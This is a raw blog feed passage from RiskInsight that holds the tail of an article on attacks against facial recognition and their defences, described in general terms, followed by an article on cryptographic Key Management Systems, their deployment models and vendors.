<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23259" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_English.png" alt="" width="1434" height="667" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_English.png 1434w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_English-411x191.png 411w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_English-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_4_English-768x357.png 768w" sizes="auto, (max-width: 1434px) 100vw, 1434px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Example of a superposition attack</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span style="text-decoration: underline;">Illumination attacks  </span></p>
<p><span data-contrast="auto">By playing with the surrounding lighting, it is common to be able to alter the performance of a FA algorithm, highlighting the need to take environmental conditions into account.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1><span data-contrast="none">Tomorrow, a defense that is equal to the risks  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h1>
<p> </p>
<p><span data-contrast="auto">Faced with these fallible systems, a whole set of protection strategies appear, generally focusing on verifying the consistency and veracity of the images presented. A brief overview of the areas of work for the defense:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ol>
<li data-leveltext="%1." data-font="" data-listid="6" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><b><span data-contrast="auto">Blinking</span></b><span data-contrast="auto">: Blinking can be used as a defense mechanism to verify the authenticity of faces in real-time, as blinking is hard to reproduce and natural way on an image or video. Based on natural blink patterns, facial recognition systems can detect fraud attempts and enhance the security of biometric identification.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><b><span data-contrast="auto">Gait analysis</span></b><span data-contrast="auto">: Gait analysis provides an additional layer of defense by checking the consistency between the claimed identity and the way a person walks. This method can help prevent attacks based on imposters or fakes by detecting irregularities in the way a person moves, increasing the security of facial recognition systems.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="%1." data-font="" data-listid="6" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><b><span data-contrast="auto">Dynamic facial features</span></b><span data-contrast="auto">: By using dynamic facial features, such as muscle movements and blinking, face alertness analysis helps distinguish real faces from fakes, preventing attacks based on pre-recorded images or videos. This technique enhances the security of biometric authentication by ensuring that the faces submitted for recognition are alive and live.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><b><span data-contrast="auto">Full 3D scan</span></b><span data-contrast="auto">: Full 3D scanning captures the three-dimensional details of the face, providing a more accurate representation that is difficult to counterfeit. Using this technique, facial recognition systems can detect fraud attempts by masks or facial sculptures, enhancing the security of biometric identification.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="%1." data-font="" data-listid="6" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><b><span data-contrast="auto">Trusted complementary biometric techniques</span></b><span data-contrast="auto">: By combining multiple biometric modalities such as facial recognition, fingerprint, and voice recognition, facial recognition systems can benefit from multiple layers of defense. This approach enhances security by reducing the risk of recognition errors and bypass, providing more robust and reliable biometric identification.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Conclusion</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Due to their &#8220;black box&#8221; design, AI-based systems, with more recently generative AI, are currently fallible. New types and techniques of attack are emerging, as are defence technologies.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">In the case of facial recognition, it can expose its users to obvious risks of identity theft, with a pro/personal permeability, like any biometric authentication, unlike a simple password. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">With the democratization of &#8220;deepfake&#8221; technologies, and the erosion of our trust in images, an effort to secure these systems must be ensured, commensurate with the great responsibility that can be given to them.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:360,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:360,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:360,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/06/the-different-faces-of-facial-recognition-operation-and-attacks/">The different faces of Facial Recognition: operation and attacks </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/06/the-different-faces-of-facial-recognition-operation-and-attacks/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>KMS: The Key to Secure Management of Cryptographic Objects </title>
		<link>https://www.riskinsight-wavestone.com/en/2024/05/kms-the-key-to-secure-management-of-cryptographic-objects/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/05/kms-the-key-to-secure-management-of-cryptographic-objects/#respond</comments>
		
		<dc:creator><![CDATA[Paul Chopineau]]></dc:creator>
		<pubDate>Wed, 29 May 2024 13:08:52 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23220</guid>

					<description><![CDATA[<p>This article is intended primarily for an informed public, mastering the use of cryptographic keys in an IS and their management in organizations.  Increasing security requirements for both industrial environments and connected objects have led to a profusion of cryptographic...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/05/kms-the-key-to-secure-management-of-cryptographic-objects/">KMS: The Key to Secure Management of Cryptographic Objects </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><i><span data-contrast="auto">This article is intended primarily for an informed public,</span></i> <i><span data-contrast="auto">mastering the use of cryptographic keys in an IS and their management in organizations.</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Increasing security requirements for both industrial environments and connected objects have led to a </span><b><span data-contrast="auto">profusion of cryptographic keys </span></b><span data-contrast="auto">in companies that are sometimes difficult to manage. These are used to encrypt and decrypt documents and exchanges as well as to verify the authenticity of messages and files, for example, when updating a component&#8217;s software, to ensure its integrity.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">One solution, to the problem of the complexity of managing numerous cryptographic keys within a company, is to implement a </span><b><span data-contrast="auto">KMS</span></b><span data-contrast="auto"> (Key Management System). This tool helps protect data, product, and process security in the form of a </span><b><span data-contrast="auto">centralized</span></b><span data-contrast="auto"> cryptographic key management </span><b><span data-contrast="auto">tool</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Beyond </span><b><span data-contrast="auto">standardizing</span></b><span data-contrast="auto"> processes, the KMS can help solve problems such as the </span><b><span data-contrast="auto">generation of large numbers of different keys</span></b><span data-contrast="auto">, key storage and </span><b><span data-contrast="auto">access</span></b><span data-contrast="auto">, and </span><b><span data-contrast="auto">key depreciation</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Why use a KMS?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">KMS (Key Management Systems) are cryptographic key management systems that allow companies to </span><b><span data-contrast="auto">manage their encryption keys centrally and securely</span></b><span data-contrast="auto">. KMSs are designed for organizations managing a large number of cryptographic keys and improve the security of their environments by standardizing processes and providing APIs for crypto functions (signature, encryption, decryption). Organizations with large IT networks and those in the industry with connected objects such as sensors, actuators, embedded systems, or selling connected products are also particularly concerned.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">The importance of good key management is crucial to cybersecurity. Encryption, signature, or verification processes are essential for many organizations, even if they sometimes appear transparent to operational staff. It is important that encryption keys are optimally managed, to avoid, for example, </span><b><span data-contrast="auto">insecure key storage</span></b><span data-contrast="auto"> or the use of </span><b><span data-contrast="auto">the same key</span></b><span data-contrast="auto"> for multiple devices.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">This article will take a closer look at what a KMS is, how it works, and why it may become essential. Several types of KMS will be presented, as well as the advantages of using them and the difficulties of integrating them. Finally, this article looks at some of the keys to targeting companies that can benefit from this type of tool.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">To get more information on the KMS architecture, you can watch Paul Chopineau conference at the Miami S4x24 <a href="https://youtu.be/J5aeAYxcc24?feature=shared">https://youtu.be/J5aeAYxcc24?feature=shared</a>.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="size-full wp-image-23226 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144022.png" alt="" width="1429" height="801" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144022.png 1429w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144022-341x191.png 341w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144022-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144022-768x430.png 768w" sizes="auto, (max-width: 1429px) 100vw, 1429px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">1</span></i><i><span data-contrast="none"> : Typical KMS architecture</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">The different ways to deploy a KMS</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">There are several ways to implement a KMS depending on the options offered by the manufacturer. Some Key Management Systems are offered in </span><b><span data-contrast="auto">SaaS</span></b><span data-contrast="auto"> mode while others can be installed on the company&#8217;s servers (</span><b><span data-contrast="auto">on premise</span></b><span data-contrast="auto">) or in a </span><b><span data-contrast="auto">hybrid</span></b><span data-contrast="auto"> mode- where the keys are stored on premise, but the application is in the cloud.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Implementing KMSs through </span><b><span data-contrast="auto">cloud solutions</span></b><span data-contrast="auto"> enable encryption keys to be managed from a computer or server. These products are more scalable and agile, and easier to deploy and update. Key security, however, will depend on that of the cloud service, even if it is possible to introduce over-encryption.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><b><span data-contrast="auto">On-premise</span></b><span data-contrast="auto"> KMS are software and hardware solutions that enable cryptographic keys to be managed using an organization&#8217;s internal servers and HSMs. They are generally more customizable and sometimes better adapted to specific needs than KMS deployed in SaaS mode. On premise KMSs, however, take longer to integrate and cost more to purchase (initial CAPEX). They also have the advantage of enabling a company to ensure sovereignty over its cryptographic keys. On premise KMSs are therefore best suited to companies with very stringent security requirements and a greater capacity for initial investment.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Finally, </span><b><span data-contrast="auto">hybrid</span></b><span data-contrast="auto"> KMSs could represent the right balance between optimum security and ease of deployment. The aim is to retain control over the keys, which in this case are stored on site, but to benefit from greater ease of deployment and scalability thanks to a cloud-hosted application. Deployment of the application is made easier, but the hardware resources for key management (HSMs) still need to be installed. A hybrid KMS includes key security approaches of an on-premise solution with software that makes it dependent on the cloud service. Care must be taken, however, to protect against fraudulent exploitation of keys from cloud infrastructures, which could be more difficult to detect than with an on-premise KMS.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="size-full wp-image-23224 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144058.png" alt="" width="1419" height="757" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144058.png 1419w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144058-358x191.png 358w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144058-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144058-768x410.png 768w" sizes="auto, (max-width: 1419px) 100vw, 1419px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure </span></i><i><span data-contrast="none">2</span></i><i><span data-contrast="none"> : The three possible implementations for a KMS</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<p><span data-contrast="auto">It is also possible to classify products on the market according to </span><b><span data-contrast="auto">provider type</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Firstly, there are the products of the </span><b><span data-contrast="auto">major cloud players</span></b><span data-contrast="auto">:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">Amazon with </span><a href="https://aws.amazon.com/kms/"><span data-contrast="none">AWS Key Management Service</span></a><span data-contrast="auto"> (AWS KMS),</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">Microsoft which offers </span><a href="https://azure.microsoft.com/en-us/products/key-vault/"><span data-contrast="none">Azure Key Vault</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">Google with the </span><a href="https://cloud.google.com/kms/docs?hl=fr"><span data-contrast="none">Cloud KMS</span></a><span data-contrast="auto"> (Key Management Service),</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><span data-contrast="auto">IBM which offers a </span><a href="https://www.ibm.com/docs/en/cloud-private/3.2.0?topic=guide-key-management-service-kms-adoption"><span data-contrast="none">KMS (Key Management Service)</span></a><span data-contrast="auto"> integrated into IBM Cloud Private.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p><span data-contrast="auto">Their products integrate perfectly with the services provided by these major providers, including their secure key storage tools, such as </span><a href="https://cloud.google.com/security-key-management"><span data-contrast="none">Google’s KMS, which enables keys to be created in the cloud and stored in HSM</span></a><span data-contrast="none">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><b><span data-contrast="auto">Specialized companies</span></b><span data-contrast="auto"> are also positioning themselves in the market:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">Cryptomathic with its </span><a href="https://www.cryptomathic.com/products/key-management/crypto-key-management-system"><span data-contrast="none">CKMS</span></a><span data-contrast="auto"> (Crypto Key Management System),</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">Entrust, whose product is called </span><a href="https://www.entrust.com/digital-security/key-management/keycontrol"><span data-contrast="none">KeyControl</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">HashiCorp, with its product  </span><a href="https://developer.hashicorp.com/vault/docs/secrets/key-management"><span data-contrast="none">Vault</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><span data-contrast="auto">Utimaco</span><span data-contrast="auto">, </span><span data-contrast="auto">whose</span><span data-contrast="auto"> KMS </span><span data-contrast="auto">is called </span><a href="https://utimaco.com/products/categories/key-management/keybridge-universal-key-management-ukm"><span data-contrast="none">KeyBridge</span></a><span data-contrast="auto">,</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="3" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><span data-contrast="auto">Thales</span><span data-contrast="auto">, </span><span data-contrast="auto">for example with its </span><a href="https://www.thalesgroup.com/en/markets/digital-identity-and-security/iot/industries/automotive/trusted-key-manager"><span data-contrast="none">Trusted Key Manager (TKM)</span></a><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p><span data-contrast="auto">In particular, these companies offer to run their tools on software resources, such as KMS from Microsoft, Amazon, and Google for HashiCorp; or VMware for Entrust. But also, hardware resources, such as HSM, which provide a superior level of security against physical attacks.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Finally, the market has also been joined by </span><b><span data-contrast="auto">integrators</span></b><span data-contrast="auto">, such as Atos with its </span><a href="https://atos.net/en/solutions/cyber-security/data-protection-and-governance/trustway-dataprotect-kms-key-manager"><span data-contrast="none">Trustway DataProtect KMS</span></a><span data-contrast="auto"> suite, designed for on premises installation on company hardware.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Finally, Thalès, which positions itself as a hardware provider, publisher, and integrator, offers </span><a href="https://cpl.thalesgroup.com/fr/encryption/key-management"><span data-contrast="none">several key management products for companies</span></a><span data-contrast="auto">. These work in tandem with those offered by more specialized players, as well as with their customers&#8217; preferred cloud services.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
